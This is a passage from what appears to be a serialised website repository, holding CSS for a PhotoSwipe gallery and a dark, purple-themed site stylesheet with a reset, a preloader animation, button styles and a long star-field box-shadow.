1);\n          transition: transform 333ms cubic-bezier(0.4, 0, 0.22, 1); }\n\n.pswp__bg {\n  will-change: opacity;\n  /* for open/close transition */\n  -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);\n          transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1); }\n\n.pswp--animated-in .pswp__bg,\n.pswp--animated-in .pswp__zoom-wrap {\n  -webkit-transition: none;\n  transition: none; }\n\n.pswp__container,\n.pswp__zoom-wrap {\n  -webkit-backface-visibility: hidden;\n  will-change: transform; }\n\n.pswp__item {\n  position: absolute;\n  left: 0;\n  right: 0;\n  top: 0;\n  bottom: 0;\n  overflow: hidden; }\n\n.pswp__img {\n  position: absolute;\n  width: auto;\n  height: auto;\n  top: 0;\n  left: 0; }\n\n/*\n\tstretched thumbnail or div placeholder element (see below)\n\tstyle is added to avoid flickering in webkit/blink when layers overlap\n*/\n.pswp__img--placeholder {\n  -webkit-backface-visibility: hidden; }\n\n/*\n\tdiv element that matches size of large image\n\tlarge image loads on top of it\n*/\n.pswp__img--placeholder--blank {\n  background: #222; }\n\n.pswp--ie .pswp__img {\n  width: 100% !important;\n  height: auto !important;\n  left: 0;\n  top: 0; }\n\n/*\n\tError message appears when image is not loaded\n\t(JS option errorMsg controls markup)\n*/\n.pswp__error-msg {\n  position: absolute;\n  left: 0;\n  top: 50%;\n  width: 100%;\n  text-align: center;\n  font-size: 14px;\n  line-height: 16px;\n  margin-top: -8px;\n  color: #CCC; }\n\n.pswp__error-msg a {\n  color: #CCC;\n  text-decoration: underline; }\n"
  },
  {
    "path": "mov/css/style-map-variant.css",
    "content": "/* ------------------------------------- */\n\n\n/* *. @Import & Reset .................. */\n\n\n/* ------------------------------------- */\n\n\n/* http://bourbon.io/ Sass Mixin Library */\n\n\n/* custom CSS files */\n\n@import url(font-awesome.min.css);\n@import url(ionicons.min.css);\n@import url(bootstrap.min.css);\n@import url(animate.css);\n@import url(photoswipe.css);\n@import url(default-skin/default-skin.css);\n@import url(jquery.mCustomScrollbar.css);\n@import url(vegas.css);\n\n/* Google Fonts */\n\n@import url(\"https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap\");\n\n/*\n* http://meyerweb.com/eric/tools/css/reset/ \n* v2.0 | 20110126\n* License: none (public domain)\n*/\n\nhtml,\nbody,\ndiv,\nspan,\napplet,\nobject,\niframe,\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\np,\nblockquote,\npre,\na,\nabbr,\nacronym,\naddress,\nbig,\ncite,\ncode,\ndel,\ndfn,\nem,\nimg,\nins,\nkbd,\nq,\ns,\nsamp,\nsmall,\nstrike,\nstrong,\nsub,\nsup,\ntt,\nvar,\nb,\nu,\ni,\ncenter,\ndl,\ndt,\ndd,\nol,\nul,\nli,\nfieldset,\nform,\nlabel,\nlegend,\ntable,\ncaption,\ntbody,\ntfoot,\nthead,\ntr,\nth,\ntd,\narticle,\naside,\ncanvas,\ndetails,\nembed,\nfigure,\nfigcaption,\nfooter,\nheader,\nhgroup,\nmenu,\nnav,\noutput,\nruby,\nsection,\nsummary,\ntime,\nmark,\naudio,\nvideo {\n    margin: 0;\n    padding: 0;\n    border: 0;\n    font-size: 100%;\n    font: inherit;\n    vertical-align: baseline;\n}\n\n.red-point {\n    color: #ff3d71;\n}\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmenu,\nnav,\nsection,\nmain {\n    display: block;\n}\n\nbody {\n    line-height: 1;\n}\n\nol,\nul {\n    list-style: none;\n}\n\nblockquote,\nq {\n    quotes: none;\n}\n\nblockquote:before,\nblockquote:after,\nq:before,\nq:after {\n    content: '';\n    content: none;\n}\n\ntable {\n    border-collapse: collapse;\n    border-spacing: 0;\n}\n\n#loading {\n    width: 100vw;\n    height: 100vh;\n    background: #0a0a1a;\n    position: fixed;\n    z-index: 999;\n}\n\n#loading #preloader {\n    position: relative;\n    width: 100%;\n    height: 80px;\n    top: calc(50% - 50px);\n    text-align: center;\n    margin: 0 auto;\n}\n\n#loading #preloader:after {\n    content: \"MOV EAX, 4\";\n    /* Text under the circles */\n    position: absolute;\n    text-transform: uppercase;\n    font-size: 12px;\n    font-weight: 500;\n    color: rgba(139, 92, 246, 0.6);\n    letter-spacing: 3px;\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    top: 90px;\n    width: 100%;\n    left: 0;\n    right: 0;\n    height: 1px;\n    text-align: center;\n}\n\n#loading #preloader span {\n    position: absolute;\n    border: 8px solid #8b5cf6;\n    border-top: 8px solid transparent;\n    border-radius: 999px;\n    box-shadow: 0 0 15px rgba(139, 92, 246, 0.3);\n}\n\n#loading #preloader span:nth-child(1) {\n    width: 80px;\n    height: 80px;\n    left: calc(50% - 40px);\n    -webkit-animation: spin-1 1s infinite ease;\n    -moz-animation: spin-1 1s infinite ease;\n    animation: spin-1 1s infinite ease;\n}\n\n#loading #preloader span:nth-child(2) {\n    top: 20px;\n    left: calc(50% - 20px);\n    width: 40px;\n    height: 40px;\n    -webkit-animation: spin-2 1s infinite ease;\n    -moz-animation: spin-2 1s infinite ease;\n    animation: spin-2 1s infinite ease;\n}\n\n@-webkit-keyframes spin-1 {\n    0% {\n        -webkit-transform: rotate(360deg);\n        opacity: 1;\n    }\n    50% {\n        -webkit-transform: rotate(180deg);\n        opacity: 0.5;\n    }\n    100% {\n        -webkit-transform: rotate(0deg);\n        opacity: 1;\n    }\n}\n\n@-moz-keyframes spin-1 {\n    0% {\n        -moz-transform: rotate(360deg);\n        opacity: 1;\n    }\n    50% {\n        -moz-transform: rotate(180deg);\n        opacity: 0.5;\n    }\n    100% {\n        -moz-transform: rotate(0deg);\n        opacity: 1;\n    }\n}\n\n@keyframes spin-1 {\n    0% {\n        -webkit-transform: rotate(360deg);\n        -moz-transform: rotate(360deg);\n        -ms-transform: rotate(360deg);\n        -o-transform: rotate(360deg);\n        transform: rotate(360deg);\n        opacity: 1;\n    }\n    50% {\n        -webkit-transform: rotate(180deg);\n        -moz-transform: rotate(180deg);\n        -ms-transform: rotate(180deg);\n        -o-transform: rotate(180deg);\n        transform: rotate(180deg);\n        opacity: 0.5;\n    }\n    100% {\n        -webkit-transform: rotate(0deg);\n        -moz-transform: rotate(0deg);\n        -ms-transform: rotate(0deg);\n        -o-transform: rotate(0deg);\n        transform: rotate(0deg);\n        opacity: 1;\n    }\n}\n\n@-webkit-keyframes spin-2 {\n    0% {\n        -webkit-transform: rotate(0deg);\n        opacity: 0.5;\n    }\n    50% {\n        -webkit-transform: rotate(180deg);\n        opacity: 1;\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        opacity: 0.5;\n    }\n}\n\n@-moz-keyframes spin-2 {\n    0% {\n        -moz-transform: rotate(0deg);\n        opacity: 0.5;\n    }\n    50% {\n        -moz-transform: rotate(180deg);\n        opacity: 1;\n    }\n    100% {\n        -moz-transform: rotate(360deg);\n        opacity: 0.5;\n    }\n}\n\n@keyframes spin-2 {\n    0% {\n        -webkit-transform: rotate(0deg);\n        -moz-transform: rotate(0deg);\n        -ms-transform: rotate(0deg);\n        -o-transform: rotate(0deg);\n        transform: rotate(0deg);\n        opacity: 0.5;\n    }\n    50% {\n        -webkit-transform: rotate(180deg);\n        -moz-transform: rotate(180deg);\n        -ms-transform: rotate(180deg);\n        -o-transform: rotate(180deg);\n        transform: rotate(180deg);\n        opacity: 1;\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        -moz-transform: rotate(360deg);\n        -ms-transform: rotate(360deg);\n        -o-transform: rotate(360deg);\n        transform: rotate(360deg);\n        opacity: 0.5;\n    }\n}\n\n\n/* ------------------------------------- */\n\n\n/* 1. Generic styles ................... */\n\n\n/* ------------------------------------- */\n\nbody {\n    cursor: default;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n    background: #0a0a1a;\n    font-family: 'Inter', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    color: #e2e8f0;\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale;\n    font-weight: 400;\n    font-size: 100%;\n    line-height: 1.6em;\n    position: absolute;\n    height: 100%;\n}\n\n.scroll-touch {\n    overflow-y: auto;\n    -webkit-overflow-scrolling: touch;\n}\n\nbody,\nhtml {\n    margin: 0;\n    padding: 0;\n    -webkit-tap-highlight-color: transparent;\n    width: 100%;\n    overflow-x: hidden;\n}\n\nbody,\ninput,\nselect,\ntextarea {\n    -webkit-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n}\n\na {\n    -webkit-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    cursor: pointer;\n    text-decoration: none;\n    color: #FFFFFF;\n}\n\na:hover {\n    color: #a78bfa;\n    text-decoration: none !important;\n    outline: none !important;\n}\n\na:active,\na:focus {\n    outline: none !important;\n    text-decoration: none !important;\n    color: #FFFFFF;\n}\n\nbutton {\n    -webkit-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    cursor: pointer;\n}\n\nbutton:hover,\nbutton:active,\nbutton:focus {\n    outline: none !important;\n    text-decoration: none !important;\n    color: #0a0a1a;\n}\n\nstrong,\nb {\n    font-weight: 700;\n}\n\nem,\ni {\n    font-style: italic;\n}\n\np {\n    margin: 0;\n    font-size: 1em;\n    line-height: 1.6em;\n    color: #FFFFFF;\n    font-weight: 400;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n    color: #FFFFFF;\n    font-weight: 400;\n    line-height: 1.3em;\n}\n\nh1 a,\nh2 a,\nh3 a,\nh4 a,\nh5 a,\nh6 a {\n    color: inherit;\n    text-decoration: none;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n    color: inherit;\n}\n\nh1 {\n    font-size: 42px;\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n    letter-spacing: -0.02em;\n}\n\nh2 {\n    font-size: 22px;\n    margin-top: 15px;\n    margin-bottom: 30px;\n}\n\nh3 {\n    font-size: 30px;\n    margin-bottom: 25px;\n}\n\nh4 {\n    font-size: 25px;\n    margin-bottom: 25px;\n}\n\nh5 {\n    font-size: 20px;\n    margin-bottom: 25px;\n}\n\nh6 {\n    font-size: 15px;\n    margin-bottom: 25px;\n}\n\nsub {\n    font-size: 0.8em;\n    position: relative;\n    top: 0.5em;\n}\n\nsup {\n    font-size: 0.8em;\n    position: relative;\n    top: -0.5em;\n}\n\n.clear {\n    clear: both;\n}\n\n.display-none {\n    display: none !important;\n}\n\n.align-left {\n    text-align: left;\n}\n\n.align-center {\n    text-align: center;\n}\n\n.align-right {\n    text-align: right;\n}\n\n.no-margin-bottom {\n    margin-bottom: 0;\n}\n\n.opacity-0 {\n    opacity: 0 !important;\n    visibility: hidden !important;\n}\n\n.opacity-03 {\n    opacity: 0.3 !important;\n}\n\n.opacity-1 {\n    opacity: 1 !important;\n    visibility: visible !important;\n}\n\n.index-999 {\n    z-index: -999 !important;\n}\n\n.light-btn {\n    background: rgba(139, 92, 246, 0.1);\n    font-weight: 600;\n    padding: 0.8em 2.2em;\n    color: #e2e8f0;\n    margin-right: 10px;\n    border: 1px solid rgba(139, 92, 246, 0.5);\n    display: block;\n    float: left;\n    backdrop-filter: blur(10px);\n    -webkit-backdrop-filter: blur(10px);\n    border-radius: 8px;\n    letter-spacing: 0.02em;\n    transition: background 0.3s ease, box-shadow 0.3s ease, border-color 0.3s ease;\n}\n\n.light-btn:hover {\n    background: rgba(139, 92, 246, 0.3);\n    color: #FFFFFF;\n    border-color: #8b5cf6;\n    box-shadow: 0 0 20px rgba(139, 92, 246, 0.3), inset 0 0 20px rgba(139, 92, 246, 0.1);\n}\n\n.action-btn {\n    background: linear-gradient(135deg, #8b5cf6, #06b6d4);\n    background-size: 100% 100%;\n    font-weight: 600;\n    padding: 0.8em 2.2em;\n    color: #FFFFFF;\n    border: none;\n    display: block;\n    float: left;\n    border-radius: 8px;\n    letter-spacing: 0.02em;\n    transition: box-shadow 0.3s ease, filter 0.3s ease;\n}\n\n.action-btn:hover {\n    color: #FFFFFF;\n    filter: brightness(1.15);\n    box-shadow: 0 0 25px rgba(139, 92, 246, 0.4), 0 0 50px rgba(6, 182, 212, 0.2);\n}\n\n.action-btn:active,\n.action-btn:focus {\n    color: #FFFFFF;\n    outline: none !important;\n}\n\n.global-overlay {\n    position: fixed;\n    top: 0;\n    left: -100vw;\n    height: 100%;\n    overflow: visible;\n    width: 100%;\n    opacity: 0;\n}\n\n.overlay {\n    position: fixed;\n    overflow: hidden;\n    top: 0;\n    left: -50%;\n    z-index: 2;\n    background: rgba(10, 10, 26, 0.85);\n    width: 100%;\n    height: 100%;\n    -webkit-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -moz-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -ms-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -o-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    border-right: 1px solid rgba(139, 92, 246, 0.15);\n}\n\n.overlay.skew-part {\n    -webkit-transform: skew(0deg, 0deg);\n    -moz-transform: skew(0deg, 0deg);\n    -ms-transform: skew(0deg, 0deg);\n    -o-transform: skew(0deg, 0deg);\n    transform: skew(0deg, 0deg);\n}\n\n#stars {\n    width: 1px;\n    height: 1px;\n    margin-left: 25%;\n    background: transparent;\n    box-shadow: 1032px 1327px #FFF, 1998px 654px #FFF, 2328px 380px #FFF, 1041px 2459px #FFF, 1740px 2200px #FFF, 396px 565px #FFF, 759px 238px #FFF, 585px 1136px #FFF, 2218px 952px #FFF, 137px 509px #FFF, 878px 1889px #FFF, 26px 2455px #FFF, 705px 1285px #FFF, 2412px 65px #FFF, 1340px 2391px #FFF, 2233px 1530px #FFF, 426px 1px #FFF, 1831px 1950px #FFF, 2331px 683px #FFF, 1183px 1649px #FFF, 1577px 1705px #FFF, 1956px 425px #FFF, 1223px 607px #FFF, 1350px 1031px #FFF, 1296px 951px #FFF, 1178px 1766px #FFF, 1089px 2047px #FFF, 2368px 1678px #FFF, 444px 41px #FFF, 80px 1667px #FFF, 2255px 549px #FFF, 1807px 2283px #FFF, 974px 2064px #FFF, 819px 1055px #FFF, 824px 2447px #FFF, 2182px 1483px #FFF, 1025px 443px #FFF, 901px 466px #FFF, 2236px 122px #FFF, 2207px 712px #FFF, 272px 764px #FFF, 2165px 1032px #FFF, 1502px 140px #FFF, 792px 878px #FFF, 352px 176px #FFF, 1790px 460px #FFF, 822px 413px #FFF, 2110px 1540px #FFF, 598px 1149px #FFF, 1380px 270px #FFF, 2020px 1627px #FFF, 75px 1745px #FFF, 690px 16px #FFF, 1500px 322px #FFF, 1114px 1628px #FFF, 1226px 411px #FFF, 137px 2331px #FFF, 2172px 1228px #FFF, 1188px 2252px #FFF, 1638px 1943px #FFF, 2493px 164px #FFF, 1460px 671px #FFF, 587px 1903px #FFF, 35px 1855px #FFF, 281px 2485px #FFF, 379px 182px #FFF, 946px 1672px #FFF, 1112px 225px #FFF, 323px 775px #FFF, 1944px 2449px #FFF, 1762px 1025px #FFF, 93px 1702px #FFF, 1007px 1332px #FFF, 629px 1944px #FFF, 1662px 1494px #FFF, 861px 2196px #FFF, 1821px 1300px #FFF, 857px 1406px #FFF, 1906px 2126px #FFF, 2279px 1661px #FFF, 1416px 2499px #FFF, 645px 1303px #FFF, 1101px 613px #FFF, 807px 1394px #FFF, 1329px 1345px #FFF, 1469px 1426px #FFF, 821px 889px #FFF, 760px 1512px #FFF, 1280px 2070px #FFF, 1257px 1959px #FFF, 1636px 878px #FFF, 1828px 1291px #FFF, 568px 2367px #FFF, 740px 304px #FFF, 1531px 1995px #FFF, 871px 2118px #FFF, 285px 1367px #FFF, 2184px 2215px #FFF, 1405px 144px #FFF, 1291px 506px #FFF, 529px 178px #FFF, 1893px 1318px #FFF, 273px 2426px #FFF, 847px 612px #FFF, 578px 741px #FFF, 2115px 2368px #FFF, 1548px 1295px #FFF, 1998px 835px #FFF, 1925px 408px #FFF, 84px 916px #FFF, 1338px 971px #FFF, 1963px 101px #FFF, 1276px 639px #FFF, 2215px 1361px #FFF, 816px 104px #FFF, 1199px 1827px #FFF, 209px 1122px #FFF, 332px 719px #FFF, 1164px 801px #FFF, 2340px 1907px #FFF, 80px 2449px #FFF, 1990px 2160px #FFF, 229px 1343px #FFF, 2132px 2123px #FFF, 102px 556px #FFF, 1939px 918px #FFF, 559px 1036px #FFF, 364px 1868px #FFF, 689px 1308px #FFF, 547px 40px #FFF, 997px 699px #FFF, 533px 1124px #FFF, 187px 1587px #FFF, 2243px 2233px #FFF, 956px 1122px #FFF, 1690px 1643px #FFF, 2378px 2097px #FFF, 716px 2248px #FFF, 2330px 1221px #FFF, 12px 253px #FFF, 715px 1954px #FFF, 999px 1354px #FFF, 147px 481px #FFF, 554px 1899px #FFF, 854px 567px #FFF, 126px 269px #FFF, 1981px 1363px #FFF, 1775px 2407px #FFF, 779px 1946px #FFF, 1651px 666px #FFF, 732px 747px #FFF, 21px 653px #FFF, 366px 683px #FFF, 1578px 406px #FFF, 1968px 1805px #FFF, 2406px 1726px #FFF, 2064px 1705px #FFF, 425px 25px #FFF, 1021px 872px #FFF, 138px 2044px #FFF, 798px 875px #FFF, 311px 1450px #FFF, 953px 2107px #FFF, 1699px 1163px #FFF, 106px 1646px #FFF, 2068px 700px #FFF, 1539px 1341px #FFF, 1959px 1175px #FFF, 2246px 1349px #FFF, 636px 1399px #FFF, 1458px 160px #FFF, 576px 864px #FFF, 610px 1024px #FFF, 1908px 763px #FFF, 1521px 1172px #FFF, 560px 1768px #FFF, 1786px 1803px #FFF, 2180px 1478px #FFF, 1231px 1460px #FFF, 134px 898px #FFF, 906px 1058px #FFF, 1000px 1141px #FFF, 1681px 1081px #FFF, 1374px 1386px #FFF, 2243px 1274px #FFF, 1291px 827px #FFF, 1293px 1093px #FFF, 484px 1059px #FFF, 51px 245px #FFF, 1382px 947px #FFF, 2439px 1668px #FFF, 1083px 1241px #FFF, 408px 1533px #FFF, 1983px 2419px #FFF, 473px 1743px #FFF, 2445px 723px #FFF, 2135px 255px #FFF, 405px 1016px #FFF, 1352px 2398px #FFF, 2084px 1638px #FFF, 944px 1470px #FFF, 860px 1974px #FFF, 795px 1189px #FFF, 2476px 1650px #FFF, 226px 2453px #FFF, 1128px 1350px #FFF, 2473px 1917px #FFF, 1040px 2162px #FFF, 271px 280px #FFF, 2004px 1525px #FFF, 1419px 1714px #FFF, 1777px 73px #FFF, 1965px 1464px #FFF, 890px 875px #FFF, 1041px 1443px #FFF, 286px 2476px #FFF, 1558px 534px #FFF, 2295px 846px #FFF, 1752px 2196px #FFF, 127px 94px #FFF, 2418px 228px #FFF, 1118px 652px #FFF, 826px 2056px #FFF, 1px 835px #FFF, 470px 411px #FFF, 2366px 1765px #FFF, 945px 470px #FFF, 810px 1361px #FFF, 1133px 1653px #FFF, 225px 2384px #FFF, 2351px 842px #FFF, 1046px 2305px #FFF, 2288px 842px #FFF, 1948px 875px #FFF, 2143px 2380px #FFF, 1662px 98px #FFF, 1166px 1796px #FFF, 1217px 665px #FFF, 27px 2271px #FFF, 692px 2453px #FFF, 38px 2236px #FFF, 1922px 353px #FFF, 1815px 2347px #FFF, 1534px 1145px #FFF, 1952px 1247px #FFF, 2380px 2330px #FFF, 2148px 1947px #FFF, 93px 371px #FFF, 1930px 1887px #FFF, 913px 2284px #FFF, 414px 169px #FFF, 684px 1248px #FFF, 263px 641px #FFF, 1889px 1134px #FFF, 233px 2327px #FFF, 444px 532px #FFF, 969px 1508px #FFF, 370px 1483px #FFF, 756px 1152px #FFF, 854px 1961px #FFF, 1186px 777px #FFF, 1191px 2316px #FFF, 2350px 24px #FFF, 1570px 2153px #FFF, 1385px 105px #FFF, 345px 962px #FFF, 1457px 679px #FFF, 1672px 1582px #FFF, 471px 2359px #FFF, 41px 948px #FFF, 1386px 2149px #FFF, 2479px 1535px #FFF, 1316px 2500px #FFF, 885px 1328px #FFF, 1415px 2119px #FFF, 1462px 637px #FFF, 1957px 1289px #FFF, 2064px 1315px #FFF, 1306px 193px #FFF, 92px 1685px #FFF, 1697px 948px #FFF, 608px 2094px #FFF, 1740px 1208px #FFF, 2251px 759px #FFF, 312px 694px #FFF, 2102px 2356px #FFF, 1567px 472px #FFF, 1254px 869px #FFF, 1925px 1799px #FFF, 2092px 1745px #FFF, 154px 357px #FFF, 497px 2342px #FFF, 2282px 2021px #FFF, 119px 592px #FFF, 1356px 507px #FFF, 615px 1294px #FFF, 904px 72px #FFF, 1133px 494px #FFF, 1948px 185px #FFF, 2463px 498px #FFF, 2017px 2238px #FFF, 2063px 1760px #FFF, 2201px 1860px #FFF, 1743px 2174px #FFF, 493px 1108px #FFF, 943px 2079px #FFF, 1757px 838px #FFF, 2303px 425px #FFF, 1000px 2373px #FFF, 2253px 1232px #FFF, 259px 1786px #FFF, 827px 1972px #FFF, 621px 1404px #FFF, 1901px 545px #FFF, 1303px 315px #FFF, 185px 311px #FFF, 195px 1465px #FFF, 1824px 1803px #FFF, 1894px 2327px #FFF, 541px 2053px #FFF, 712px 1821px #FFF, 907px 1152px #FFF, 1104px 2363px #FFF, 219px 1887px #FFF, 816px 2056px #FFF, 1682px 706px #FFF, 562px 425px #FFF, 2005px 2023px #FFF, 1806px 374px #FFF, 1735px 1081px #FFF, 2162px 263px #FFF, 1948px 1949px #FFF, 1016px 2377px #FFF, 440px 2238px #FFF, 491px 2139px #FFF, 145px 2068px #FFF, 2161px 1756px #FFF, 2338px 2213px #FFF, 2357px 2087px #FFF, 117px 268px #FFF, 94px 1628px #FFF, 497px 1571px #FFF, 1065px 2096px #FFF, 1510px 2074px #FFF, 1073px 2358px #FFF, 2413px 1962px #FFF, 263px 1065px #FFF, 1051px 1418px #FFF, 344px 1881px #FFF, 111px 3px #FFF, 2326px 1404px #FFF, 53px 1278px #FFF, 1432px 601px #FFF, 2284px 1977px #FFF, 2245px 781px #FFF, 1113px 1668px #FFF, 72px 1532px #FFF, 592px 2158px #FFF, 1878px 290px #FFF, 1908px 1722px #FFF, 809px 610px #FFF, 1895px 1862px #FFF, 1567px 2290px #FFF, 2474px 1489px #FFF, 236px 733px #FFF, 1226px 777px #FFF, 1778px 2255px #FFF, 458px 2248px #FFF, 1371px 1055px #FFF, 871px 2287px #FFF, 547px 1861px #FFF, 259px 1812px #FFF, 349px 1242px #FFF, 451px 1882px #FFF, 2390px 742px #FFF, 1769px 2100px #FFF, 1416px 1851px #FFF, 438px 2118px #FFF, 1562px 1343px #FFF, 2308px 545px #FFF, 1723px 179px #FFF, 1063px 1389px #FFF, 477px 726px #FFF, 719px 726px #FFF, 1354px 655px #FFF, 159px 342px #FFF, 1515px 1755px #FFF, 817px 1141px #FFF, 1650px 708px #FFF, 96px 1945px #FFF, 452px 2081px #FFF, 1325px 2247px #FFF, 1300px 711px #FFF, 1965px 1989px #FFF, 770px 2029px #FFF, 414px 2250px #FFF, 2109px 867px #FFF, 1664px 145px #FFF, 606px 2134px #FFF, 1996px 63px #FFF, 1701px 809px #FFF, 2467px 1134px #FFF, 1619px 1599px #FFF, 990px 1995px #FFF, 239px 878px #FFF, 954px 202px #FFF, 107px 1475px #FFF, 2175px 1493px #FFF, 2376px 2468px #FFF, 420px 2033px #FFF, 2317px 1282px #FFF, 1942px 1332px #FFF, 1286px 1836px #FFF, 635px 885px #FFF, 1410px 99px #FFF, 959px 16px #FFF, 1247px 1674px #FFF, 1704px 236px #FFF, 821px 1454px #FFF, 1715px 2095px #FFF, 1795px 2138px #FFF, 854px 1611px #FFF, 2212px 1598px #FFF, 728px 1716px #FFF, 245px 2477px #FFF, 2374px 2123px #FFF, 1552px 1175px #FFF, 619px 1835px #FFF, 369px 909px #FFF, 645px 2059px #FFF, 1450px 603px #FFF, 2223px 1321px #FFF, 2276px 1114px #FFF, 1484px 1302px #FFF, 2276px 2104px #FFF, 1961px 536px #FFF, 1728px 1061px #FFF, 2px 250px #FFF, 1224px 383px #FFF, 1890px 395px #FFF, 573px 1591px #FFF, 1874px 766px #FFF, 281px 2150px #FFF, 1912px 501px #FFF, 1337px 2479px #FFF, 829px 986px #FFF, 1238px 1527px #FFF, 517px 2207px #FFF, 1273px 158px #FFF, 2106px 2446px #FFF, 800px 512px #FFF, 657px 1183px #FFF, 1920px 1381px #FFF, 2130px 2481px #FFF, 1254px 1713px #FFF, 12px 1068px #FFF, 1861px 207px #FFF, 2280px 2151px #FFF, 657px 1152px #FFF, 1985px 2053px #FFF, 1970px 1695px #FFF, 1927px 2041px #FFF, 2066px 2436px #FFF, 1071px 693px #FFF, 581px 1617px #FFF, 1559px 743px #FFF, 2477px 617px #FFF, 1737px 109px #FFF, 483px 1867px #FFF, 786px 387px #FFF, 700px 599px #FFF, 1815px 2481px #FFF, 525px 466px #FFF, 1896px 2206px #FFF, 1209px 1943px #FFF, 2271px 982px #FFF, 45px 884px #FFF, 2471px 1273px #FFF, 1624px 2030px #FFF, 537px 1857px #FFF, 1383px 1445px #FFF, 1158px 1105px #FFF, 902px 1777px #FFF, 374px 112px #FFF, 1352px 494px #FFF, 132px 2482px #FFF, 609px 192px #FFF, 294px 406px #FFF, 1140px 2171px #FFF, 1344px 1410px #FFF, 475px 64px #FFF, 443px 1674px #FFF, 1645px 2322px #FFF, 1219px 1511px #FFF, 1197px 2497px #FFF, 341px 319px #FFF, 1087px 603px #FFF, 2362px 1918px #FFF, 1292px 1115px #FFF, 265px 1318px #FFF, 468px 975px #FFF, 1997px 307px #FFF, 2317px 1913px #FFF, 42px 2466px #FFF, 1071px 2065px #FFF, 2485px 596px #FFF, 1685px 772px #FFF, 2035px 1005px #FFF, 1408px 1576px #FFF, 1517px 1954px #FFF, 1974px 1397px #FFF, 1917px 1886px #FFF, 989px 438px #FFF, 449px 986px #FFF, 446px 1809px #FFF, 1134px 479px #FFF, 1494px 765px #FFF, 273px 1920px #FFF, 2265px 1821px #FFF, 2340px 616px #FFF, 152px 312px #FFF, 2372px 1725px #FFF, 1347px 633px #FFF, 1149px 2158px #FFF, 99px 1849px #FFF, 680px 255px #FFF, 2120px 1811px #FFF, 1609px 2002px #FFF, 1951px 2368px #FFF, 2235px 1035px #FFF, 256px 439px #FFF, 673px 2299px #FFF, 805px 688px #FFF, 431px 1601px #FFF, 498px 1489px #FFF, 821px 1679px #FFF, 869px 1317px #FFF, 888px 1042px #FFF, 802px 2040px #FFF, 262px 1661px #FFF, 515px 122px #FFF, 1723px 1215px #FFF, 640px 529px #FFF, 532px 2061px #FFF, 1411px 1439px #FFF, 1431px 585px #FFF, 1915px 80px #FFF, 623px 27px #FFF, 112px 1237px #FFF, 1525px 757px #FFF, 282px 1552px #FFF, 2335px 1561px #FFF, 2246px 1297px #FFF, 1458px 1872px #FFF, 64px 2228px #FFF, 574px 1865px #FFF, 1241px 2241px #FFF, 549px 285px #FFF, 2316px 1659px #FFF, 2189px 2311px #FFF, 2171px 287px #FFF, 1520px 1651px #FFF, 372px 316px #FFF, 1415px 720px #FFF, 1701px 1503px #FFF, 904px 2332px #FFF, 2136px 1081px #FFF, 213px 2429px #FFF, 1758px 1866px #FFF, 2354px 547px #FFF, 2002px 1418px #FFF, 1781px 814px #FFF, 826px 2303px #FFF, 66px 235px #FFF, 75px 1956px #FFF, 360px 2010px #FFF, 1842px 1649px #FFF, 1975px 234px #FFF, 456px 2392px #FFF, 2350px 1073px #FFF, 2055px 1075px #FFF, 567px 2453px #FFF, 1871px 1960px #FFF, 1872px 1218px #FFF, 2124px 1268px #FFF, 1794px 1501px #FFF, 362px 631px #FFF, 240px 1292px #FFF, 227px 657px #FFF, 2327px 616px #FFF, 1370px 175px #FFF, 1281px 2222px #FFF, 1496px 371px #FFF, 1287px 1814px #FFF, 71px 2206px #FFF, 1449px 1855px #FFF, 1509px 1075px #FFF, 81px 1594px #FFF, 1000px 1078px #FFF, 1613px 277px #FFF, 1952px 2207px #FFF, 1299px 2371px #FFF, 1272px 499px #FFF, 2135px 565px #FFF, 2175px 2152px #FFF, 1569px 1468px #FFF, 2179px 864px #FFF, 1530px 2172px #FFF, 2297px 173px #FFF, 1197px 802px #FFF, 2323px 1098px #FFF, 791px 604px #FFF, 1756px 2141px #FFF, 1983px 945px #FFF, 2301px 2014px #FFF, 13px 232px #FFF, 218px 2099px #FFF, 2123px 2342px #FFF, 1268px 1551px #FFF, 1575px 2386px #FFF, 360px 843px #FFF, 1841px 703px #FFF, 147px 87px #FFF, 1509px 1431px 